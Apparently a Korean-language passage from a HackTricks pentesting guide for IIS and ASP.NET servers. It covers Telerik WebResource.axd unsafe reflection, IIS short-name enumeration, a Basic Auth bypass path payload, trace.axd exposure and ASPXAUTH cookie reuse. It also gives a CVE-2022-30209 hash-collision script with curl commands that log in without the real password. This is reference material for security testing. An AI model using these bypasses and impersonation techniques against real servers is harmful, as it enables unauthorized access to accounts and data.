๋งŽ์€ ASP.NET ์•ฑ์ด Telerik UI for ASP.NET AJAX๋ฅผ ์ž„๋ฒ ๋“œํ•˜๊ณ  ์ธ์ฆ ์—†์ด ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ํ•ธ๋“ค๋Ÿฌ Telerik.Web.UI.WebResource.axd๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. Image Editor ์บ์‹œ ์—”๋“œํฌ์ธํŠธ(type=iec)์— ์ ‘๊ทผ ๊ฐ€๋Šฅํ•˜๋ฉด, ํŒŒ๋ผ๋ฏธํ„ฐ dkey=1 ๋ฐ prtype๊ฐ€ unsafe reflection์„ ํ™œ์„ฑํ™”ํ•˜์—ฌ ์ธ์ฆ ์ „(preโ€‘auth) ์–ด๋–ค public parameterless ์ƒ์„ฑ์ž๋„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฒ”์šฉ DoS ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ์ œ๊ณตํ•˜๊ณ , AppDomain.AssemblyResolve ํ•ธ๋“ค๋Ÿฌ๊ฐ€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ ์•ฑ์—์„œ๋Š” preโ€‘auth RCE๋กœ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

See detailed techniques and PoCs here:

Telerik Ui Aspnet Ajax Unsafe Reflection Webresource Axd

Old IIS vulnerabilities worth looking for

Microsoft IIS tilde character โ€œ~โ€ Vulnerability/Feature โ€“ Short File/Folder Name Disclosure

์ด ๊ธฐ์ˆ ์„ ์‚ฌ์šฉํ•˜๋ฉด(์‹ฌ์ง€์–ด Basic Authentication์ด ํ•„์š”ํ•œ ๊ฒฝ์šฐ์—๋„) ๋ฐœ๊ฒฌํ•œ ๊ฐ ํด๋” ๋‚ด๋ถ€์˜ ํด๋”์™€ ํŒŒ์ผ์„ ์—ด๊ฑฐํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์ด ๊ธฐ๋ฒ•์˜ ์ฃผ์š” ์ œํ•œ์€ ์„œ๋ฒ„๊ฐ€ ์ทจ์•ฝํ•ด๋„ ๊ฐ ํŒŒ์ผ/ํด๋” ์ด๋ฆ„์˜ ์ฒ˜์Œ ์ตœ๋Œ€ 6๊ธ€์ž์™€ ํ™•์žฅ์ž์˜ ์ฒ˜์Œ 3๊ธ€์ž๊นŒ์ง€๋งŒ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

You can use https://github.com/irsdl/IIS-ShortName-Scanner to test for this vulnerability:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Original research: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

You can also use metasploit: use scanner/http/iis_shortname_scanner

๋ฐœ๊ฒฌํ•œ ํŒŒ์ผ์˜ ์ตœ์ข… ์ด๋ฆ„์„ ์ฐพ๋Š” ์ข‹์€ ์•„์ด๋””์–ด๋Š” LLMs์— ์˜ต์…˜์„ ์š”์ฒญํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์˜ˆ์‹œ๋Š” ์Šคํฌ๋ฆฝํŠธ https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py์ฒ˜๋Ÿผ ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค.

Basic Authentication bypass

Bypass a basic authentication (IIS 7.5) trying to access: /admin:$i30:$INDEX_ALLOCATION/admin.php or /admin::$INDEX_ALLOCATION/admin.php

์ด ์ทจ์•ฝ์ ๊ณผ ์•ž์˜ ๋ฐฉ๋ฒ•์„ ์กฐํ•ฉํ•ด ์ƒˆ๋กœ์šด ํด๋”๋ฅผ ์ฐพ๊ณ  ์ธ์ฆ์„ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ASP.NET Trace.AXD enabled debugging

ASP.NET์—๋Š” ๋””๋ฒ„๊น… ๋ชจ๋“œ๊ฐ€ ์žˆ์œผ๋ฉฐ ํ•ด๋‹น ํŒŒ์ผ์€ trace.axd์ž…๋‹ˆ๋‹ค.

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์— ๋Œ€ํ•œ ์ผ์ • ๊ธฐ๊ฐ„ ๋™์•ˆ์˜ ๋ชจ๋“  ์š”์ฒญ์„ ๋งค์šฐ ์ƒ์„ธํ•˜๊ฒŒ ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.

์ด ์ •๋ณด์—๋Š” ์›๊ฒฉ ํด๋ผ์ด์–ธํŠธ IP, ์„ธ์…˜ ID, ๋ชจ๋“  ์š”์ฒญ ๋ฐ ์‘๋‹ต ์ฟ ํ‚ค, ๋ฌผ๋ฆฌ์  ๊ฒฝ๋กœ, ์†Œ์Šค ์ฝ”๋“œ ์ •๋ณด ๋ฐ ์ž ์žฌ์ ์œผ๋กœ ์‚ฌ์šฉ์ž ์ด๋ฆ„๊ณผ ๋น„๋ฐ€๋ฒˆํ˜ธ๊นŒ์ง€ ํฌํ•จ๋ฉ๋‹ˆ๋‹ค.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH๋Š” ๋‹ค์Œ ์ •๋ณด๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค:

  • validationKey (string): hex-encoded key to use for signature validation.
  • decryptionMethod (string): (default โ€œAESโ€).
  • decryptionIV (string): hex-encoded initialization vector (defaults to a vector of zeros).
  • decryptionKey (string): hex-encoded key to use for decryption.

ํ•˜์ง€๋งŒ ์ผ๋ถ€๋Š” ์ด ๋งค๊ฐœ๋ณ€์ˆ˜๋“ค์˜ ๊ธฐ๋ณธ๊ฐ’์„ ์‚ฌ์šฉํ•˜๊ณ  ์ฟ ํ‚ค ๊ฐ’์œผ๋กœ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋™์ผํ•œ ํ”Œ๋žซํผ์„ ์‚ฌ์šฉํ•˜๋ฉฐ ASPXAUTH ์ฟ ํ‚ค๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋‹ค๋ฅธ ์›น์„ ์ฐพ๊ณ , ๊ณต๊ฒฉ ๋Œ€์ƒ ์„œ๋ฒ„์—์„œ ๊ฐ€์žฅํ•˜๊ณ  ์‹ถ์€ ์‚ฌ์šฉ์ž ์ด๋ฉ”์ผ๋กœ ๊ณ„์ •์„ ์ƒ์„ฑํ•˜๋ฉด ๋‘ ๋ฒˆ์งธ ์„œ๋ฒ„์˜ ์ฟ ํ‚ค๋ฅผ ์ฒซ ๋ฒˆ์งธ ์„œ๋ฒ„์—์„œ ์žฌ์‚ฌ์šฉํ•ด ์‚ฌ์šฉ์ž๋ฅผ ๊ฐ€์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ ์ด ๊ณต๊ฒฉ์€ ์ด writeup์—์„œ ์„ฑ๊ณตํ–ˆ์Šต๋‹ˆ๋‹ค.

IIS Authentication Bypass with cached passwords (CVE-2022-30209)

Full report here: ์ฝ”๋“œ์˜ ๋ฒ„๊ทธ๋กœ ์ธํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ œ๋Œ€๋กœ ๊ฒ€์‚ฌํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•ด์‹œ๊ฐ€ ์บ์‹œ์— ์ด๋ฏธ ์กด์žฌํ•˜๋Š” ํ‚ค์™€ ์ผ์น˜ํ•˜๋Š” ๊ณต๊ฒฉ์ž๋Š” ํ•ด๋‹น ์‚ฌ์šฉ์ž๋กœ ๋กœ๊ทธ์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

์ฐธ๊ณ  ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ